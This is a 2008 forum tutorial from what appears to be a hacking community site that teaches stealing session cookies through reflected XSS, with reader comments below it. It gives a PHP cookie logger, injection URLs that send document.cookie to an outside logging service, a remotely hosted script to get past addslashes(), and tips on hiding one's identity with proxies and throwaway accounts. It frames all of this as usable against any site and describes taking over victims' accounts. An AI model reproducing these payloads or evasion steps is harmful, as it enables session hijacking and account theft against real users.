Join us at IRC!
Never in the field of human conflict was so much owed by so many to so few. - Winston Churchill
Thursday, May 17, 2012
Navigation
Members Online
Total Online: 30
Web Spiders: 14
Guests Online: 28
Members Online: 2

Registered Members: 70044
Newest Member: acoder11235
Latest Articles

Cookie Stealing Via XSS



FLV Blaster - Download Music and Videos Faster

website security An article on cookie stealing, using XSS.



In this tutorial I'll try to explain the procedure of cookie stealing through XSS in a few simple steps. This way you can apply it to any site you want, but I'll stick to http://www.example.com/ for this walkthrough.

Step one: Finding a XSS vulnerability

I assume everyone who wants to learn cookie stealing through XSS already knows how to find XSS vulnerabilities, so I won't explain this in detail here.

For this walkthrough we'll stick with a simple GET variable XSS, just to make it easier. If you understand this and have some basic knowledge about the POST method, you'll be able to make autosubmitting pages for POST XSS vulnerabilities yourself.

Here's our PoC XSS vulnerability:
http://www.example.com/search.php?query="><scblockedript>alert(123)</scblockedript>


When this page is loaded, a popup message saying "123" should be displayed. This means we have our vulnerability.

Step two: Setting up a cookie stealer

If we want to steal cookies, we'll need for example a PHP page which stores them for us. A simple cookie stealer can look like this:

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookie . "nn");
fclose($file);
?>


However there are other ways to log the cookie as well. In my opinion, the best and most secure way is to use WhiteAcid's Community Cookie Logger (CCL) which can be found at http://ccl.whiteacid.org/

If you use your own server or host account for cookie stealing, it's easy for others to track you down. Therefore we'll use CCL in this walkthrough. Registering at CCL gives you an anonymous account with a random ID number instead of a username. For this tutorial I just use a fake account with the ID 123456.

So now, we just check the CCL service by executing a test string. We go to
http://ccl.whiteacid.org/log.php?123456test_for_XSS.
We MUST include our ID number in the test URL, otherwise it won't show up in our logs. Then we login to CCL and see the new entry with our IP, referer, user agent and of course the data "test_for_XSS". The cookie logger works fine.

Step three: Logging a cookie

So we have a XSS vulnerability and we have a cookie logger. Now we just have to connect them to each other.

We make a new injection (instead of that alert thing) which sends the cookie data. It could look like this:

http://www.example.com/search.php?query="><scblockedript>location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;</scblockedript>


If the site doesn't use addslashes() or any other filters that mess up our injection, we have successfully captured the cookie and saved it in our CCL account! From here, we can copy the users' cookies (most commonly the sessions) to our own cookies and get into their accounts...

Step four: Filter evasion

Let's say we encountered the following common problem: the target page uses addslashes() on the GET variable before printing it, which kills our injection by destroying our quotes. No problem, we just have to do it another way then ;)

We register a new account on a free hosting site (I'll use the FreeWebs.com account Uber0n for this walkthrough) and make a new scblockedript file there. I make a file called cookiesteal.js and give it the following content:
location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;


Now we call the scblockedript through the XSS vulnerable page:
http://www.example.com/search.php?query="><scblockedript src=http://www.freewebs.com/uber0n/cookiesteal.js>


Login to CCL once again and you'll see the new entry! However, remember NOT to register the account on the hosting site with your normal nickname and make sure you register using a good proxy so that you can't be tracked. You can also ask XSSed.com to host your scblockedript files.

If you encounter other filters than addslashes, try running the scblockedripts through iframes, images etc. Some good filter evasion techniques can be found at

http://www.xssing.com/index.php?x=1
http://ha.ckers.org/xss.html

Feel free to contact me if you have any questions.
// Uber0n

Comments

Shazrah on July 09 2008 - 19:33:14
skit bra artikel :p great article :happy:
Uber0n on July 09 2008 - 19:54:25
@Shazrah: Thanks man :happy:
skathgh420 on July 09 2008 - 20:19:36
wow nice article and very well written :D
Futility on July 09 2008 - 20:26:36
What is this? An article that actually teaches you something and wasn't copy/pasted? How did this get accepted? Great work Uber0n, thanks a lot.
SaMTHG on July 09 2008 - 20:31:20
Excell-on-tat Awesome!(RATED)
slpctrl on July 09 2008 - 20:44:10
Very very nice article ;)
Uber0n on July 09 2008 - 20:44:47
Thanks for your nice comments everyone :D
system_meltdown on July 09 2008 - 20:58:34
You should use $_GET['cookie'] instead of $HTTP_GET_VARS["cookie"]; ;) But nice article :) Hehe :)
Mephisto on July 09 2008 - 22:55:26
Needs moore understanding of Javascblockedript principles. Remove the link to the XSS Cheatsheet (newbies :() and add more ways to XSS/exploit Javascblockedript.
M4zh4r on July 10 2008 - 03:37:52
just two word. Awesome and awesome.
darksun on July 10 2008 - 08:10:48
Uber0n the teacher...hehehe... nice1 :happy:
Uber0n on July 10 2008 - 10:23:24
@system_meltdown: I'll change that next time I update the article. @spyware/Mephisto: The links are here to stay, but I could always add a few more examples of filter breaking and stuff ^^
korg on July 11 2008 - 02:47:14
I think this article totally sucked balls should have never been posted.... HaHa just kinding UberOn, Nice article Excellent job, Should help a lot of people. We need alot more like this. 15/10.
SaMTHG on July 11 2008 - 19:14:16
@korg: It's spelt Uber0n with a zero istead of a Cap o...just to let you know not being mean or anything.
god_peet on July 11 2008 - 23:20:21
w000t a great article XD
korg on July 14 2008 - 02:10:31
@SaMTHG Hit the wrong key Uber0n has been here almost as long as me. I know who he is. Oh, Don't EVER correct me again!:D
korg on July 14 2008 - 02:57:48
PS: I gotta stop drinking and posting.;)
Uber0n on July 16 2008 - 16:35:10
@korg: Nah, keep on posting ^^ it doesn't matter if you're sober or not :D
fallingmidget on August 15 2008 - 23:54:00
@korg: you post like you're always drunk
Uber0n on August 16 2008 - 19:13:20
@fallingmidget: Maybe he is, maybe he isn't ;)
Hacktivist_704 on August 27 2008 - 18:04:48
I've tried a site without addslashes and the cookie I get is my scblockedript encrypted:/
korg on September 04 2008 - 10:24:18
HEY, I'm not always drunk just at night.:D
Uber0n on September 12 2008 - 07:49:36
@Hacktivist_704: You probably have the wrong syntax ^^ you can PM me if you'd like some help.
Post Comment

Sorry.

You must have completed the challenge Basic 1 and have 100 points or more, to be able to post.
Ratings
Rating is available to members only.

Please login or register to vote.

Awesome! 77% [17 Votes]
Very Good 18% [4 Votes]
Good 5% [1 Vote]
Average 0% [No Votes]
Poor 0% [No Votes]
Guest
Username

Password

Remember Me


Bookmark This Page
Affiliates
Adverts

 

 

Links
By using, viewing or obtaining any information contained on this site, you agree to the disclaimer.

© HellBound Hackers 2008- 2009. Since 3rd December 2004.